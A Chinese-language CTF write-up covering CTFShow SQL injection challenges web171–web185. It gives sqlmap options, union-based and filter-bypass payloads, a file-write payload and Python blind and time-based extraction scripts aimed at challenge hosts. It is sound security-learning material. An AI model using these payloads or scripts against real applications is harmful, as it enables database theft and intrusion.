CTFShow SQL入门记录
入门级SQL注入,也作为一个学习记录吧,有150道题慢慢更新,也希望学到一些新姿势(只会用sqlmap一把梭的菜鸡)
-u 指定注入点
–dbs 跑库名
–tables 跑表名
–columns 跑字段名
–dump 枚举数据
-D 指定库 -T 指定表 -C指定字段
–random-agent 每次访问切换请求头 防ban
–delay=1 每次探测延时一秒 防ban
web171
这里没有任何的过滤就直接常规查找
查数据库
payload = "-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+"
查列名
payload="-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+"
查flag
payload="-1'union select id,username,password from ctfshow_user --+"
web172
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if($row->username!=='flag'){ $ret['msg']='查询成功'; }
只要查询结果username!=flag,就可以了
这几种方法都是可以的
1' union select 1,password from ctfshow_user2--+
1' union select hex(username),password from ctfshow_user2--+
1' union select to_base64(username),password from ctfshow_user2--+
web173
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){$ret['msg']='查询成功'; }
方法同上,唯一不同就是这次是3个回显
web174
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
//检查结果是否有flag
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){$ret['msg']='查询成功';}
这里看到查询结果不能出现flag,和数字,那就替换掉查询结果中的数字,或者就是盲注吧
方法一(替换):
1'union select 1,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),0,'numA'),1,'numB'),2,'numC'),3,'numD'),4,'numE'),5,'numF'),6,'numG'),7,'numH'),8,'numI'),9,'numJ'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),0,'numA'),1,'numB'),2,'numC'),3,'numD'),4,'numE'),5,'numF'),6,'numG'),7,'numH'),8,'numI'),9,'numJ') from ctfshow_user4 --+
拿到base64就是在替换回来,base64 解码就是
方法二
import requests
url = 'http://7f75718b-3c31-4d0d-a95b-00a15fea4e32.challenge.ctf.show:8080/api/v4.php'
flag = ''
for i in range(1, 100):
length = len(flag)
min = 32
max = 128
while 1:
j = min + (max - min) // 2
if min == j:
flag += chr(j)
print(flag)
break
payload = "?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))<%d,'fengyes','fengno') --+" % (
i, j)
r = requests.get(url=url + payload).text
# print(r)
if 'fengyes' in r:
max = j
else:
min = j
web175
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){$ret['msg']='查询成功';}
\x00~\x7f 的意思就是ASCII码 0~127的字符,这里全给过滤了,也就是不允许有输出,可以写到别的文件再打开或者盲注
方法一
1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'--+
方法二
import requests
from time import time
url = 'http://0bc77a47-14b1-4f38-8044-a9cd74fc8c44.challenge.ctf.show:8080/api/v5.php'
flag = ''
for i in range(1, 100):
length = len(flag)
min = 32
max = 128
while 1:
j = min + (max - min) // 2
if min == j:
flag += chr(j)
print(flag)
break
payload = "?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) --+" % (
i, j)
start_time = time()
r = requests.get(url=url + payload).text
end_time = time()
# print(r)
if end_time - start_time > 0.48:
max = j
else:
min = j
web176
开始是有过滤的题了,先讲个万能密码1’or 1=1%23,这个在解题时会有妙用
常规思路试一下,报错,应该是被过滤了
1' union select 1,2,password from ctfshow_user%23
简单大小写替换一下,回显了
1' union selECt 1,2,password from ctfshow_user%23
web177
这次是空格被过滤,处理空格有很多方法
/**/,%0a,%09, %0b,%0c,%0d和括号
1'%0aunion%0aselect%0a1,2,password%0afrom%0actfshow_user%23
web178
还是过滤空格,可以尝试多一点的姿势来处理掉空格
web179
这里同样是过滤空格,就是能用的替换减少了,%0c还可以用
1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23
web180
'union%0cselecT%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1
还有就是师傅们的一句话梭 -1’or(id=26)and’1’='1
放进去就是,
where username !='flag' and id = '-1'or(id=26)and'1'='1' limit 1;";
and 的优先级是比 or 大的,也就是说
(username !='flag' and id = '-1') or (id=26and'1'='1')
左边是0右边是1,id= 26是因为正好是flag的元组
web181
//对传入的参数进行了过滤
function waf($str){return preg_match('/|\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str); }
这里不仅对空格过滤了,还过滤了?# * file into select ,还是可以考虑用盲注的,‘or(id=26)and’1’='1
web182
//对传入的参数进行了过滤
function waf($str){return preg_match('/|\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str); }
同上
web183
过滤了挺多东西的
POST查表 tableName=ctfshow_user发现有回显
构造查询语句像这样子
select count(pass) from (ctfshow_user)where(pass)like'ctfshow{....';
import requests
url = "http://83afd841-ae35-4cb7-a7f9-8e564990dcb1.challenge.ctf.show:8080/select-waf.php"
flag = "ctfshow{"
for i in range(0, 100):
for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
data = {
'tableName': "(ctfshow_user)where(pass)like'{}%'".format(flag + j)
}
r = requests.post(url=url, data=data).text
if "$user_count = 1" in r:
flag += j
print(flag)
if j == '}':
exit()
break
web184
这里过滤了where,可以利用 right join 进行连接查询
举个例子
tableName = ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,1,1)regexp(char(102)))
a 和 b 是起的别名一定要起,regexp()是正则,on 后面是条件
import requests
url = "http://4f80783f-7eab-46b0-8685-9f2c469d4d19.challenge.ctf.show:8080/select-waf.php"
payload = 'ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},1)regexp(char({})))'
flag = ''
for i in range(45):
if i < 5:
continue
for c in range(127):
data = {
'tableName': payload.format(i, c)
}
rep = requests.post(url=url, data=data)
if rep.text.find("$user_count = 43;") > 0:
flag += chr(c)
print(flag)
if chr(c) == "}":
flag+=chr(c)
exit(0)
break
# 结果去掉大写字母和 . 在加上ctfshow就是flag
web 185
过滤了数字,可以通过 true 来构造数字
import requests
url = "http://9ffde409-f194-42cd-baf7-c29bc195d64b.challenge.ctf.show:8080/select-waf.php"
payload = 'ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},{})regexp(char({})))'
def creatNum(n):
num = 'true'
if n == 1:
return 'true'
for y in range(n - 1):
num += '+true'
return num
flag = ''
for i in range(45):
if i < 5:
continue
for c in range(127):
data = {
'tableName': payload.format(creatNum(i), creatNum(1), creatNum(c))
}
rep = requests.post(url=url, data=data)
if rep.text.find("$user_count = 43;") > 0:
if chr(c) != ".":
flag += chr(c)
print(flag.lower())
if chr(c) == "}":
exit(0)
break